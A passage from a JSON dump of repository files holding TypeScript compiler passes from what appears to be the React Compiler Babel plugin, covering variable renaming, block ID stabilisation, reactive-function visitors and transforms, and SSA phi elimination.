lvalue: Place, state: Scopes): void {\n    state.visit(lvalue.identifier);\n  }\n  override visitPlace(id: InstructionId, place: Place, state: Scopes): void {\n    state.visit(place.identifier);\n  }\n  override visitBlock(block: ReactiveBlock, state: Scopes): void {\n    state.enter(() => {\n      this.traverseBlock(block, state);\n    });\n  }\n\n  override visitPrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: Scopes,\n  ): void {\n    this.traverseBlock(scopeBlock.instructions, state);\n  }\n\n  override visitScope(scope: ReactiveScopeBlock, state: Scopes): void {\n    for (const [_, declaration] of scope.scope.declarations) {\n      state.visit(declaration.identifier);\n    }\n    this.traverseScope(scope, state);\n  }\n\n  override visitValue(\n    id: InstructionId,\n    value: ReactiveValue,\n    state: Scopes,\n  ): void {\n    this.traverseValue(id, value, state);\n    if (value.kind === 'FunctionExpression' || value.kind === 'ObjectMethod') {\n      this.visitHirFunction(value.loweredFunc.func, state);\n    }\n  }\n\n  override visitReactiveFunctionValue(\n    _id: InstructionId,\n    _dependencies: Array<Place>,\n    _fn: ReactiveFunction,\n    _state: Scopes,\n  ): void {\n    renameVariablesImpl(_fn, this, _state);\n  }\n}\n\nclass Scopes {\n  #seen: Map<DeclarationId, IdentifierName> = new Map();\n  #stack: Array<Map<string, DeclarationId>> = [new Map()];\n  #globals: Set<string>;\n  #programContext: ProgramContext;\n  names: Set<ValidIdentifierName> = new Set();\n\n  constructor(globals: Set<string>, programContext: ProgramContext) {\n    this.#globals = globals;\n    this.#programContext = programContext;\n  }\n\n  visit(identifier: Identifier): void {\n    const originalName = identifier.name;\n    if (originalName === null) {\n      return;\n    }\n    const mappedName = this.#seen.get(identifier.declarationId);\n    if (mappedName !== undefined) {\n      identifier.name = mappedName;\n      return;\n    }\n    let name: string = originalName.value;\n    let id = 0;\n    if (isPromotedTemporary(originalName.value)) {\n      name = `t${id++}`;\n    } else if (isPromotedJsxTemporary(originalName.value)) {\n      name = `T${id++}`;\n    }\n    while (this.#lookup(name) !== null || this.#globals.has(name)) {\n      if (isPromotedTemporary(originalName.value)) {\n        name = `t${id++}`;\n      } else if (isPromotedJsxTemporary(originalName.value)) {\n        name = `T${id++}`;\n      } else {\n        name = `${originalName.value}$${id++}`;\n      }\n    }\n    this.#programContext.addNewReference(name);\n    const identifierName = makeIdentifierName(name);\n    identifier.name = identifierName;\n    this.#seen.set(identifier.declarationId, identifierName);\n    this.#stack.at(-1)!.set(identifierName.value, identifier.declarationId);\n    this.names.add(identifierName.value);\n  }\n\n  #lookup(name: string): DeclarationId | null {\n    for (let i = this.#stack.length - 1; i >= 0; i--) {\n      const scope = this.#stack[i]!;\n      const entry = scope.get(name);\n      if (entry !== undefined) {\n        return entry;\n      }\n    }\n    return null;\n  }\n\n  enter(fn: () => void): void {\n    const next = new Map();\n    this.#stack.push(next);\n    fn();\n    const last = this.#stack.pop();\n    CompilerError.invariant(last === next, {\n      reason: 'Mismatch push/pop calls',\n      loc: GeneratedSource,\n    });\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/StabilizeBlockIds.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  BlockId,\n  ReactiveFunction,\n  ReactiveScopeBlock,\n  ReactiveTerminalStatement,\n  makeBlockId,\n} from '../HIR';\nimport {getOrInsertDefault} from '../Utils/utils';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\n\nexport function stabilizeBlockIds(fn: ReactiveFunction): void {\n  const referenced: Set<BlockId> = new Set();\n  visitReactiveFunction(fn, new CollectReferencedLabels(), referenced);\n\n  const mappings = new Map<BlockId, BlockId>();\n  for (const blockId of referenced) {\n    mappings.set(blockId, makeBlockId(mappings.size));\n  }\n\n  visitReactiveFunction(fn, new RewriteBlockIds(), mappings);\n}\n\nclass CollectReferencedLabels extends ReactiveFunctionVisitor<Set<BlockId>> {\n  override visitScope(scope: ReactiveScopeBlock, state: Set<BlockId>): void {\n    const {earlyReturnValue} = scope.scope;\n    if (earlyReturnValue != null) {\n      state.add(earlyReturnValue.label);\n    }\n    this.traverseScope(scope, state);\n  }\n  override visitTerminal(\n    stmt: ReactiveTerminalStatement,\n    state: Set<BlockId>,\n  ): void {\n    if (stmt.label != null) {\n      if (!stmt.label.implicit) {\n        state.add(stmt.label.id);\n      }\n    }\n    this.traverseTerminal(stmt, state);\n  }\n}\n\nclass RewriteBlockIds extends ReactiveFunctionVisitor<Map<BlockId, BlockId>> {\n  override visitScope(\n    scope: ReactiveScopeBlock,\n    state: Map<BlockId, BlockId>,\n  ): void {\n    const {earlyReturnValue} = scope.scope;\n    if (earlyReturnValue != null) {\n      const rewrittenId = getOrInsertDefault(\n        state,\n        earlyReturnValue.label,\n        state.size,\n      );\n      earlyReturnValue.label = makeBlockId(rewrittenId);\n    }\n    this.traverseScope(scope, state);\n  }\n  override visitTerminal(\n    stmt: ReactiveTerminalStatement,\n    state: Map<BlockId, BlockId>,\n  ): void {\n    if (stmt.label != null) {\n      const rewrittenId = getOrInsertDefault(state, stmt.label.id, state.size);\n      stmt.label.id = makeBlockId(rewrittenId);\n    }\n\n    const terminal = stmt.terminal;\n    if (terminal.kind === 'break' || terminal.kind === 'continue') {\n      const rewrittenId = getOrInsertDefault(\n        state,\n        terminal.target,\n        state.size,\n      );\n      terminal.target = makeBlockId(rewrittenId);\n    }\n    this.traverseTerminal(stmt, state);\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {alignObjectMethodScopes} from './AlignObjectMethodScopes';\nexport {assertScopeInstructionsWithinScopes} from './AssertScopeInstructionsWithinScope';\nexport {assertWellFormedBreakTargets} from './AssertWellFormedBreakTargets';\nexport {buildReactiveFunction} from './BuildReactiveFunction';\nexport {codegenFunction, type CodegenFunction} from './CodegenReactiveFunction';\nexport {extractScopeDeclarationsFromDestructuring} from './ExtractScopeDeclarationsFromDestructuring';\nexport {inferReactiveScopeVariables} from './InferReactiveScopeVariables';\nexport {memoizeFbtAndMacroOperandsInSameScope} from './MemoizeFbtAndMacroOperandsInSameScope';\nexport {mergeReactiveScopesThatInvalidateTogether} from './MergeReactiveScopesThatInvalidateTogether';\nexport {\n  printReactiveFunction,\n  printReactiveFunctionWithOutlined,\n} from './PrintReactiveFunction';\nexport {promoteUsedTemporaries} from './PromoteUsedTemporaries';\nexport {propagateEarlyReturns} from './PropagateEarlyReturns';\nexport {pruneAllReactiveScopes} from './PruneAllReactiveScopes';\nexport {pruneHoistedContexts} from './PruneHoistedContexts';\nexport {pruneNonEscapingScopes} from './PruneNonEscapingScopes';\nexport {pruneNonReactiveDependencies} from './PruneNonReactiveDependencies';\nexport {pruneUnusedLValues} from './PruneTemporaryLValues';\nexport {pruneUnusedLabels} from './PruneUnusedLabels';\nexport {pruneUnusedScopes} from './PruneUnusedScopes';\nexport {renameVariables} from './RenameVariables';\nexport {stabilizeBlockIds} from './StabilizeBlockIds';\nexport {\n  ReactiveFunctionTransform,\n  eachReactiveValueOperand,\n  visitReactiveFunction,\n  type Transformed,\n} from './visitors';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/visitors.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  HIRFunction,\n  InstructionId,\n  Place,\n  PrunedReactiveScopeBlock,\n  ReactiveBlock,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n  ReactiveTerminal,\n  ReactiveTerminalStatement,\n  ReactiveValue,\n} from '../HIR/HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {assertExhaustive} from '../Utils/utils';\n\nexport function visitReactiveFunction<TState>(\n  fn: ReactiveFunction,\n  visitor: ReactiveFunctionVisitor<TState>,\n  state: TState,\n): void {\n  visitor.visitBlock(fn.body, state);\n}\n\nexport class ReactiveFunctionVisitor<TState = void> {\n  visitID(_id: InstructionId, _state: TState): void {}\n  visitParam(_place: Place, _state: TState): void {}\n  visitLValue(_id: InstructionId, _lvalue: Place, _state: TState): void {}\n  visitPlace(_id: InstructionId, _place: Place, _state: TState): void {}\n  visitReactiveFunctionValue(\n    _id: InstructionId,\n    _dependencies: Array<Place>,\n    _fn: ReactiveFunction,\n    _state: TState,\n  ): void {}\n\n  visitValue(id: InstructionId, value: ReactiveValue, state: TState): void {\n    this.traverseValue(id, value, state);\n  }\n  traverseValue(id: InstructionId, value: ReactiveValue, state: TState): void {\n    switch (value.kind) {\n      case 'OptionalExpression': {\n        this.visitValue(id, value.value, state);\n        break;\n      }\n      case 'LogicalExpression': {\n        this.visitValue(id, value.left, state);\n        this.visitValue(id, value.right, state);\n        break;\n      }\n      case 'ConditionalExpression': {\n        this.visitValue(id, value.test, state);\n        this.visitValue(id, value.consequent, state);\n        this.visitValue(id, value.alternate, state);\n        break;\n      }\n      case 'SequenceExpression': {\n        for (const instr of value.instructions) {\n          this.visitInstruction(instr, state);\n        }\n        this.visitValue(value.id, value.value, state);\n        break;\n      }\n      default: {\n        for (const place of eachInstructionValueOperand(value)) {\n          this.visitPlace(id, place, state);\n        }\n      }\n    }\n  }\n\n  visitInstruction(instruction: ReactiveInstruction, state: TState): void {\n    this.traverseInstruction(instruction, state);\n  }\n  traverseInstruction(instruction: ReactiveInstruction, state: TState): void {\n    this.visitID(instruction.id, state);\n    for (const operand of eachInstructionLValue(instruction)) {\n      this.visitLValue(instruction.id, operand, state);\n    }\n    this.visitValue(instruction.id, instruction.value, state);\n  }\n\n  visitTerminal(stmt: ReactiveTerminalStatement, state: TState): void {\n    this.traverseTerminal(stmt, state);\n  }\n  traverseTerminal(stmt: ReactiveTerminalStatement, state: TState): void {\n    const {terminal} = stmt;\n    if (terminal.id !== null) {\n      this.visitID(terminal.id, state);\n    }\n    switch (terminal.kind) {\n      case 'break':\n      case 'continue': {\n        break;\n      }\n      case 'return': {\n        this.visitPlace(terminal.id, terminal.value, state);\n        break;\n      }\n      case 'throw': {\n        this.visitPlace(terminal.id, terminal.value, state);\n        break;\n      }\n      case 'for': {\n        this.visitValue(terminal.id, terminal.init, state);\n        this.visitValue(terminal.id, terminal.test, state);\n        this.visitBlock(terminal.loop, state);\n        if (terminal.update !== null) {\n          this.visitValue(terminal.id, terminal.update, state);\n        }\n        break;\n      }\n      case 'for-of': {\n        this.visitValue(terminal.id, terminal.init, state);\n        this.visitValue(terminal.id, terminal.test, state);\n        this.visitBlock(terminal.loop, state);\n        break;\n      }\n      case 'for-in': {\n        this.visitValue(terminal.id, terminal.init, state);\n        this.visitBlock(terminal.loop, state);\n        break;\n      }\n      case 'do-while': {\n        this.visitBlock(terminal.loop, state);\n        this.visitValue(terminal.id, terminal.test, state);\n        break;\n      }\n      case 'while': {\n        this.visitValue(terminal.id, terminal.test, state);\n        this.visitBlock(terminal.loop, state);\n        break;\n      }\n      case 'if': {\n        this.visitPlace(terminal.id, terminal.test, state);\n        this.visitBlock(terminal.consequent, state);\n        if (terminal.alternate !== null) {\n          this.visitBlock(terminal.alternate, state);\n        }\n        break;\n      }\n      case 'switch': {\n        this.visitPlace(terminal.id, terminal.test, state);\n        for (const case_ of terminal.cases) {\n          if (case_.test !== null) {\n            this.visitPlace(terminal.id, case_.test, state);\n          }\n          if (case_.block !== undefined) {\n            this.visitBlock(case_.block, state);\n          }\n        }\n        break;\n      }\n      case 'label': {\n        this.visitBlock(terminal.block, state);\n        break;\n      }\n      case 'try': {\n        this.visitBlock(terminal.block, state);\n        this.visitBlock(terminal.handler, state);\n        break;\n      }\n      default: {\n        assertExhaustive(\n          terminal,\n          `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n        );\n      }\n    }\n  }\n\n  visitScope(scope: ReactiveScopeBlock, state: TState): void {\n    this.traverseScope(scope, state);\n  }\n  traverseScope(scope: ReactiveScopeBlock, state: TState): void {\n    this.visitBlock(scope.instructions, state);\n  }\n\n  visitPrunedScope(scopeBlock: PrunedReactiveScopeBlock, state: TState): void {\n    this.traversePrunedScope(scopeBlock, state);\n  }\n  traversePrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: TState,\n  ): void {\n    this.visitBlock(scopeBlock.instructions, state);\n  }\n\n  visitBlock(block: ReactiveBlock, state: TState): void {\n    this.traverseBlock(block, state);\n  }\n  traverseBlock(block: ReactiveBlock, state: TState): void {\n    for (const instr of block) {\n      switch (instr.kind) {\n        case 'instruction': {\n          this.visitInstruction(instr.instruction, state);\n          break;\n        }\n        case 'scope': {\n          this.visitScope(instr, state);\n          break;\n        }\n        case 'pruned-scope': {\n          this.visitPrunedScope(instr, state);\n          break;\n        }\n        case 'terminal': {\n          this.visitTerminal(instr, state);\n          break;\n        }\n        default: {\n          assertExhaustive(\n            instr,\n            `Unexpected instruction kind \\`${(instr as any).kind}\\``,\n          );\n        }\n      }\n    }\n  }\n\n  visitHirFunction(fn: HIRFunction, state: TState): void {\n    for (const param of fn.params) {\n      const place = param.kind === 'Identifier' ? param : param.place;\n      this.visitParam(place, state);\n    }\n    for (const [, block] of fn.body.blocks) {\n      for (const instr of block.instructions) {\n        this.visitInstruction(instr, state);\n        if (\n          instr.value.kind === 'FunctionExpression' ||\n          instr.value.kind === 'ObjectMethod'\n        ) {\n          this.visitHirFunction(instr.value.loweredFunc.func, state);\n        }\n      }\n      for (const operand of eachTerminalOperand(block.terminal)) {\n        this.visitPlace(block.terminal.id, operand, state);\n      }\n    }\n  }\n}\n\nexport type TransformedValue =\n  | {kind: 'keep'}\n  | {kind: 'replace'; value: ReactiveValue};\n\nexport type Transformed<T> =\n  | {kind: 'remove'}\n  | {kind: 'keep'}\n  | {kind: 'replace'; value: T}\n  | {kind: 'replace-many'; value: Array<T>};\n\nexport class ReactiveFunctionTransform<\n  TState = void,\n> extends ReactiveFunctionVisitor<TState> {\n  override traverseBlock(block: ReactiveBlock, state: TState): void {\n    let nextBlock: ReactiveBlock | null = null;\n    for (let i = 0; i < block.length; i++) {\n      const instr = block[i]!;\n      let transformed: Transformed<ReactiveStatement>;\n      switch (instr.kind) {\n        case 'instruction': {\n          transformed = this.transformInstruction(instr.instruction, state);\n          break;\n        }\n        case 'scope': {\n          transformed = this.transformScope(instr, state);\n          break;\n        }\n        case 'pruned-scope': {\n          transformed = this.transformPrunedScope(instr, state);\n          break;\n        }\n        case 'terminal': {\n          transformed = this.transformTerminal(instr, state);\n          break;\n        }\n        default: {\n          assertExhaustive(\n            instr,\n            `Unexpected instruction kind \\`${(instr as any).kind}\\``,\n          );\n        }\n      }\n      switch (transformed.kind) {\n        case 'keep': {\n          if (nextBlock !== null) {\n            nextBlock.push(instr);\n          }\n          break;\n        }\n        case 'remove': {\n          if (nextBlock === null) {\n            nextBlock = block.slice(0, i);\n          }\n          break;\n        }\n        case 'replace': {\n          nextBlock ??= block.slice(0, i);\n          nextBlock.push(transformed.value);\n          break;\n        }\n        case 'replace-many': {\n          nextBlock ??= block.slice(0, i);\n          nextBlock.push(...transformed.value);\n          break;\n        }\n      }\n    }\n    if (nextBlock !== null) {\n      block.length = 0;\n      block.push(...nextBlock);\n    }\n  }\n\n  transformInstruction(\n    instruction: ReactiveInstruction,\n    state: TState,\n  ): Transformed<ReactiveStatement> {\n    this.visitInstruction(instruction, state);\n    return {kind: 'keep'};\n  }\n\n  transformTerminal(\n    stmt: ReactiveTerminalStatement,\n    state: TState,\n  ): Transformed<ReactiveStatement> {\n    this.visitTerminal(stmt, state);\n    return {kind: 'keep'};\n  }\n\n  transformScope(\n    scope: ReactiveScopeBlock,\n    state: TState,\n  ): Transformed<ReactiveStatement> {\n    this.visitScope(scope, state);\n    return {kind: 'keep'};\n  }\n\n  transformPrunedScope(\n    scope: PrunedReactiveScopeBlock,\n    state: TState,\n  ): Transformed<ReactiveStatement> {\n    this.visitPrunedScope(scope, state);\n    return {kind: 'keep'};\n  }\n\n  transformValue(\n    id: InstructionId,\n    value: ReactiveValue,\n    state: TState,\n  ): TransformedValue {\n    this.visitValue(id, value, state);\n    return {kind: 'keep'};\n  }\n\n  transformReactiveFunctionValue(\n    id: InstructionId,\n    dependencies: Array<Place>,\n    fn: ReactiveFunction,\n    state: TState,\n  ): {kind: 'keep'} | {kind: 'replace'; value: ReactiveFunction} {\n    this.visitReactiveFunctionValue(id, dependencies, fn, state);\n    return {kind: 'keep'};\n  }\n\n  override traverseValue(\n    id: InstructionId,\n    value: ReactiveValue,\n    state: TState,\n  ): void {\n    switch (value.kind) {\n      case 'OptionalExpression': {\n        const nextValue = this.transformValue(id, value.value, state);\n        if (nextValue.kind === 'replace') {\n          value.value = nextValue.value;\n        }\n        break;\n      }\n      case 'LogicalExpression': {\n        const left = this.transformValue(id, value.left, state);\n        if (left.kind === 'replace') {\n          value.left = left.value;\n        }\n        const right = this.transformValue(id, value.right, state);\n        if (right.kind === 'replace') {\n          value.right = right.value;\n        }\n        break;\n      }\n      case 'ConditionalExpression': {\n        const test = this.transformValue(id, value.test, state);\n        if (test.kind === 'replace') {\n          value.test = test.value;\n        }\n        const consequent = this.transformValue(id, value.consequent, state);\n        if (consequent.kind === 'replace') {\n          value.consequent = consequent.value;\n        }\n        const alternate = this.transformValue(id, value.alternate, state);\n        if (alternate.kind === 'replace') {\n          value.alternate = alternate.value;\n        }\n        break;\n      }\n      case 'SequenceExpression': {\n        for (const instr of value.instructions) {\n          this.visitInstruction(instr, state);\n        }\n        const nextValue = this.transformValue(value.id, value.value, state);\n        if (nextValue.kind === 'replace') {\n          value.value = nextValue.value;\n        }\n        break;\n      }\n      default: {\n        for (const place of eachInstructionValueOperand(value)) {\n          this.visitPlace(id, place, state);\n        }\n      }\n    }\n  }\n\n  override traverseInstruction(\n    instruction: ReactiveInstruction,\n    state: TState,\n  ): void {\n    this.visitID(instruction.id, state);\n    for (const operand of eachInstructionLValue(instruction)) {\n      this.visitLValue(instruction.id, operand, state);\n    }\n    const nextValue = this.transformValue(\n      instruction.id,\n      instruction.value,\n      state,\n    );\n    if (nextValue.kind === 'replace') {\n      instruction.value = nextValue.value;\n    }\n  }\n\n  override traverseTerminal(\n    stmt: ReactiveTerminalStatement,\n    state: TState,\n  ): void {\n    const {terminal} = stmt;\n    if (terminal.id !== null) {\n      this.visitID(terminal.id, state);\n    }\n    switch (terminal.kind) {\n      case 'break':\n      case 'continue': {\n        break;\n      }\n      case 'return': {\n        this.visitPlace(terminal.id, terminal.value, state);\n        break;\n      }\n      case 'throw': {\n        this.visitPlace(terminal.id, terminal.value, state);\n        break;\n      }\n      case 'for': {\n        const init = this.transformValue(terminal.id, terminal.init, state);\n        if (init.kind === 'replace') {\n          terminal.init = init.value;\n        }\n        const test = this.transformValue(terminal.id, terminal.test, state);\n        if (test.kind === 'replace') {\n          terminal.test = test.value;\n        }\n        if (terminal.update !== null) {\n          const update = this.transformValue(\n            terminal.id,\n            terminal.update,\n            state,\n          );\n          if (update.kind === 'replace') {\n            terminal.update = update.value;\n          }\n        }\n        this.visitBlock(terminal.loop, state);\n        break;\n      }\n      case 'for-of': {\n        const init = this.transformValue(terminal.id, terminal.init, state);\n        if (init.kind === 'replace') {\n          terminal.init = init.value;\n        }\n        const test = this.transformValue(terminal.id, terminal.test, state);\n        if (test.kind === 'replace') {\n          terminal.test = test.value;\n        }\n        this.visitBlock(terminal.loop, state);\n        break;\n      }\n      case 'for-in': {\n        const init = this.transformValue(terminal.id, terminal.init, state);\n        if (init.kind === 'replace') {\n          terminal.init = init.value;\n        }\n        this.visitBlock(terminal.loop, state);\n        break;\n      }\n      case 'do-while': {\n        this.visitBlock(terminal.loop, state);\n        const test = this.transformValue(terminal.id, terminal.test, state);\n        if (test.kind === 'replace') {\n          terminal.test = test.value;\n        }\n        break;\n      }\n      case 'while': {\n        const test = this.transformValue(terminal.id, terminal.test, state);\n        if (test.kind === 'replace') {\n          terminal.test = test.value;\n        }\n        this.visitBlock(terminal.loop, state);\n        break;\n      }\n      case 'if': {\n        this.visitPlace(terminal.id, terminal.test, state);\n        this.visitBlock(terminal.consequent, state);\n        if (terminal.alternate !== null) {\n          this.visitBlock(terminal.alternate, state);\n        }\n        break;\n      }\n      case 'switch': {\n        this.visitPlace(terminal.id, terminal.test, state);\n        for (const case_ of terminal.cases) {\n          if (case_.test !== null) {\n            this.visitPlace(terminal.id, case_.test, state);\n          }\n          if (case_.block !== undefined) {\n            this.visitBlock(case_.block, state);\n          }\n        }\n        break;\n      }\n      case 'label': {\n        this.visitBlock(terminal.block, state);\n        break;\n      }\n      case 'try': {\n        this.visitBlock(terminal.block, state);\n        if (terminal.handlerBinding !== null) {\n          this.visitPlace(terminal.id, terminal.handlerBinding, state);\n        }\n        this.visitBlock(terminal.handler, state);\n        break;\n      }\n      default: {\n        assertExhaustive(\n          terminal,\n          `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n        );\n      }\n    }\n  }\n}\n\nexport function* eachReactiveValueOperand(\n  instrValue: ReactiveValue,\n): Iterable<Place> {\n  switch (instrValue.kind) {\n    case 'OptionalExpression': {\n      yield* eachReactiveValueOperand(instrValue.value);\n      break;\n    }\n    case 'LogicalExpression': {\n      yield* eachReactiveValueOperand(instrValue.left);\n      yield* eachReactiveValueOperand(instrValue.right);\n      break;\n    }\n    case 'SequenceExpression': {\n      for (const instr of instrValue.instructions) {\n        yield* eachReactiveValueOperand(instr.value);\n      }\n      yield* eachReactiveValueOperand(instrValue.value);\n      break;\n    }\n    case 'ConditionalExpression': {\n      yield* eachReactiveValueOperand(instrValue.test);\n      yield* eachReactiveValueOperand(instrValue.consequent);\n      yield* eachReactiveValueOperand(instrValue.alternate);\n      break;\n    }\n    default: {\n      yield* eachInstructionValueOperand(instrValue);\n    }\n  }\n}\n\nexport function mapTerminalBlocks(\n  terminal: ReactiveTerminal,\n  fn: (block: ReactiveBlock) => ReactiveBlock,\n): void {\n  switch (terminal.kind) {\n    case 'break':\n    case 'continue':\n    case 'return':\n    case 'throw': {\n      break;\n    }\n    case 'for': {\n      terminal.loop = fn(terminal.loop);\n      break;\n    }\n    case 'for-of': {\n      terminal.loop = fn(terminal.loop);\n      break;\n    }\n    case 'for-in': {\n      terminal.loop = fn(terminal.loop);\n      break;\n    }\n    case 'do-while':\n    case 'while': {\n      terminal.loop = fn(terminal.loop);\n      break;\n    }\n    case 'if': {\n      terminal.consequent = fn(terminal.consequent);\n      if (terminal.alternate !== null) {\n        terminal.alternate = fn(terminal.alternate);\n      }\n      break;\n    }\n    case 'switch': {\n      for (const case_ of terminal.cases) {\n        if (case_.block !== undefined) {\n          case_.block = fn(case_.block);\n        }\n      }\n      break;\n    }\n    case 'label': {\n      terminal.block = fn(terminal.block);\n      break;\n    }\n    case 'try': {\n      terminal.block = fn(terminal.block);\n      terminal.handler = fn(terminal.handler);\n      break;\n    }\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/SSA/EliminateRedundantPhi.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  BlockId,\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  Place,\n} from '../HIR/HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\n\nconst DEBUG = false;\n\n/*\n * Pass to eliminate redundant phi nodes:\n * - all operands are the same identifier, ie `x2 = phi(x1, x1, x1)`.\n * - all operands are the same identifier *or* the output of the phi, ie `x2 = phi(x1, x2, x1, x2)`.\n *\n * In both these cases, the phi is eliminated and all usages of the phi identifier\n * are replaced with the other operand (ie in both cases above, all usages of `x2` are replaced with `x1` .\n *\n * The algorithm is inspired by that in https://pp.ipd.kit.edu/uploads/publikationen/braun13cc.pdf\n * but modified to reduce passes over the CFG. We visit the blocks in reverse postorder. Each time a redundant\n * phi is encountered we add a mapping (eg x2 -> x1) to a rewrite table. Subsequent instructions, terminals,\n * and phis rewrite all their identifiers based on this table. The algorithm loops over the CFG repeatedly\n * until there are no new rewrites: for a CFG without back-edges it completes in a single pass.\n */\nexport function eliminateRedundantPhi(\n  fn: HIRFunction,\n  sharedRewrites?: Map<Identifier, Identifier>,\n): void {\n  const ir = fn.body;\n  const rewrites: Map<Identifier, Identifier> =\n    sharedRewrites != null ? sharedRewrites : new Map();\n\n  /*\n   * Whether or the CFG has a back-edge (a loop). We determine this dynamically\n   * during the first iteration over the CFG by recording which blocks were already\n   * visited, and checking if a block has any predecessors that weren't visited yet.\n   * Because blocks are in reverse postorder, the only time this can occur is a loop.\n   */\n  let hasBackEdge = false;\n  const visited: Set<BlockId> = new Set();\n\n  /*\n   * size tracks the number of rewrites at the beginning of each iteration, so we can\n   * compare to see if any new rewrites were added in that iteration.\n   */\n  let size = rewrites.size;\n  do {\n    size = rewrites.size;\n    for (const [blockId, block] of ir.blocks) {\n      /*\n       * On the first iteration of the loop check for any back-edges.\n       * if there aren't any then there won't be a second iteration\n       */\n      if (!hasBackEdge) {\n        for (const predId of block.preds) {\n          if (!visited.has(predId)) {\n            hasBackEdge = true;\n          }\n        }\n      }\n      visited.add(blockId);\n\n      // Find any redundant phis\n      phis: for (const phi of block.phis) {\n        // Remap phis in case operands are from eliminated phis\n        phi.operands.forEach((place, _) => rewritePlace(place, rewrites));\n        // Find if the phi can be eliminated\n        let same: Identifier | null = null;\n        for (const [_, operand] of phi.operands) {\n          if (\n            (same !== null && operand.identifier.id === same.id) ||\n            operand.identifier.id === phi.place.identifier.id\n          ) {\n            /*\n             * This operand is the same as the phi or is the same as the\n             * previous non-phi operands\n             */\n            continue;\n          } else if (same !== null) {\n            /*\n             * There are multiple operands not equal to the phi itself,\n             * this phi can't be eliminated.\n             */\n            continue phis;\n          } else {\n            // First non-phi operand\n            same = operand.identifier;\n          }\n        }\n        CompilerError.invariant(same !== null, {\n          reason: 'Expected phis to be non-empty',\n          loc: GeneratedSource,\n        });\n        rewrites.set(phi.place.identifier, same);\n        block.phis.delete(phi);\n      }\n\n      // Rewrite all instruction lvalues and operands\n      for (const instr of block.instructions) {\n        for (const place of eachInstructionLValue(instr)) {\n          rewritePlace(place, rewrites);\n        }\n        for (const place of eachInstructionOperand(instr)) {\n          rewritePlace(place, rewrites);\n        }\n\n        if (\n          instr.value.kind === 'FunctionExpression' ||\n          instr.value.kind === 'ObjectMethod'\n        ) {\n          const {context} = instr.value.loweredFunc.func;\n          for (const place of context) {\n            rewritePlace(place, rewrites);\n          }\n\n          /*\n           * recursive call to:\n           * - eliminate phi nodes in child node\n           * - propagate rewrites, which may have changed between iterations\n           */\n          eliminateRedundantPhi(instr.value.loweredFunc.func, rewrites);\n        }\n      }\n\n      // Rewrite all terminal operands\n      const {terminal} = block;\n      for (const place of eachTerminalOperand(terminal)) {\n        rewritePlace(place, rewrites);\n      }\n    }\n    /*\n     * We only need to loop if there were newly eliminated phis in this iteration\n     * *and* the CFG has loops. If there are no loops, then all eliminated phis\n     * have already propagated forwards since we visit in reverse postorder.\n     */\n  } while (rewrites.size > size && hasBackEdge);\n\n  if (DEBUG) {\n    for (const [, block] of ir.blocks) {\n      for (const phi of block.phis) {\n        CompilerError.invariant(!rewrites.has(phi.place.identifier), {\n          reason: '[EliminateRedundantPhis]: rewrite not complete',\n          loc: phi.place.loc,\n        });\n        for (const [, operand] of phi.operands) {\n          CompilerError.invariant(!rewrites.has(operand.identifier), {\n            reason: '[EliminateRedundantPhis]: rewrite not complete',\n            loc: phi.place.loc,\n          });\n        }\n      }\n    }\n  }\n}\n\nfunction rewritePlace(\n  place: Place,\n  rewrites: Map<Identifier, Identifier>,\n): void {\n  const rewrite = rewrites.get(place.identifier);\n  if (rewrite != null) {\n    place.identifier = rewrite;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/SSA/EnterSSA.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {Environment} from '../HIR/Environment';\nimport {\n  BasicBlock,\n  BlockId,\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  makeInstructionId,\n  makeType,\n  Phi,\n  Place,\n} from '../HIR/HIR';\nimport {printIdentifier, printPlace} from '../HIR/PrintHIR';\nimport {\n  eachTerminalSuccessor,\n  mapInstructionLValues,\n  mapInstructionOperands,\n  mapTerminalOperands,\n} from '../HIR/visitors';\n\ntype IncompletePhi = {\n  oldPlace: Place;\n  newPlace: Place;\n};\n\ntype State = {\n  defs: Map<Identifier, Identifier>;\n  incompletePhis: Array<IncompletePhi>;\n};\n\nclass SSABuilder {\n  #states: Map<BasicBlock, State> = new Map();\n  #current: BasicBlock | null = null;\n  unsealedPreds: Map<BasicBlock, number> = new Map();\n  #blocks: Map<BlockId, BasicBlock>;\n  #env: Environment;\n  #unknown: Set<Identifier> = new Set();\n  #context: Set<Identifier> = new Set();\n\n  constructor(env: Environment, blocks: ReadonlyMap<BlockId, 